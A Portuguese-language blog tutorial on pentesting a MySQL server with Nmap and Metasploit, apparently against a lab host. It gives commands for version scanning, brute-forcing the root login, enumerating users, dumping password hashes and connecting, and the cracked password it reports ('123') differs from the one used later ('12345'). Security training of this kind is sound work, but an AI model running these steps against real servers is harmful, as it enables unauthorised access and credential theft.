Metasploit Framework - Testes de Intrusão em MySQL Server

Share:


Realizando Pentests em servidores MySQL com Metasploit Framework 



O MySQL é um dos bancos de dados mais utilizados por seu desempenho e facilidade. Hoje vamos mostrar um estudo de caso no qual iremos realizar uma sequencia de testes de segurança no servidor MySQL afim de realizar uma intrusão enumerando os usuários e tentando logar com eles.

Analisando o servidor

matheus@fidelis:~$ sudo nmap -sS -sV 192.168.1.64



Note que a porta 3306 está aberta e o Nmap identificou o serviço do MySQL rodando na mesma.
Você pode colocar o parâmetro -sV no Nmap para que ele tente identificar a versão do banco que está sendo executado, mas neste exemplo iremos realizar uma ferramenta do Metasploit para fazer esse levantamento.


# msfconsole
# msf > search mysql

Para confirmar a versão do MySQL vamos utilizar o módulo auxiliar mysql_version

msf > use auxiliary/scanner/mysql/mysql_version

Veja as opções do Scanner:

msf auxiliary(mysql_version) > show options
msf auxiliary(mysql_version) > set RHOSTS IP-DO-ALVO
msf auxiliary(mysql_version) > run




O scanner confirmou a versão do MySQL como 5.5.44 e ainda de quebra deu a versão do Sistema Operacioal, acusando um Debian 7.

Em todo caso, pesquise o serviço e a versão que está correndo e procure por informações de vulnerabilidades e Bypass no Exploit Database

https://www.exploit-db.com/

Brute Force Login


Agora vamos explorar por meio de força bruta passwords fracos e usuários obvios.
Vamos tentar realizar a conexão testando o usuário root.

 msf > use auxiliary/scanner/mysql/mysql_login


Agora vamos definir os parâmetros:

msf auxiliary(mysql_login) > show options
msf auxiliary(mysql_login) > set RHOSTS IP-DO-ALVO
msf auxiliary(mysql_login) > set RPORT PORTA-DO-ALVO // Altere o número da porta aqui, a Default do MySQL é a 3306

msf auxiliary(mysql_login) > set USERNAME USUARIO-A-SER-TESTADO 
msf auxiliary(mysql_login) > set PASS_FILE /caminho/da/sua/passlist/

msf auxiliary(mysql_login) > exploit




O Brute force identificou como positiva a senha 123 para o root. Conseguimos acesso ao banco de dados. Legal. Agora vamos supor que você precise testar mais de um usuário, que você tenha em maos uma lista de possíveis usuários para efetuar o ataque. Vamos repetir o mesmo exemplo, porém ao definir o parâmetro USERNAME iremos definir n parâmetro USER_FILE o caminho para a wordlist dos usuários para o ataque.

Testando mais de um usuário


msf auxiliary(mysql_login) > set USER_FILE /caminho/da/sua/userlist/

msf auxiliary(mysql_login) > exploit





Enumerando e fazendo o Dump das Databases


Depois que possuímos uma conta para efetuar o acesso ao banco, podemos agora fazer uso de mais 2 ferramentas enumerar outros usuários do banco e fazer o Dump das aplicações.

msf auxiliary(mysql_login) > use auxiliary/admin/mysql/mysql_enum 
msf auxiliary(mysql_enum) > show options




Vamos efetuar a configuração o módulo:


msf auxiliary(mysql_enum) > set RHOST IP-DO-ALVO
msf auxiliary(mysql_enum) > set USERNAME root
msf auxiliary(mysql_enum) > set PASSWORD 12345
msf auxiliary(mysql_enum) > exploit



Fazendo o Hashdump do módulo


msf auxiliary(mysql_enum) > use auxiliary/scanner/mysql/mysql_hashdump 
msf auxiliary(mysql_enum) > show options
msf auxiliary(mysql_hashdump) > set RHOSTS 192.168.1.64
msf auxiliary(mysql_hashdump) > set USERNAME root
msf auxiliary(mysql_hashdump) > set PASSWORD 12345
msf auxiliary(mysql_hashdump) > exploit



Acessando o banco de dados


Para acessa o banco você pode usar o Workbench ou qualquer SGBD da sua escolha, mas caso esteja em um pentest real, recomendo sempre usar a shell com proxy em ultimo caso. 

matheus@fidelis:~$ mysql -h 192.168.1.64 -u root -p12345


Nenhum comentário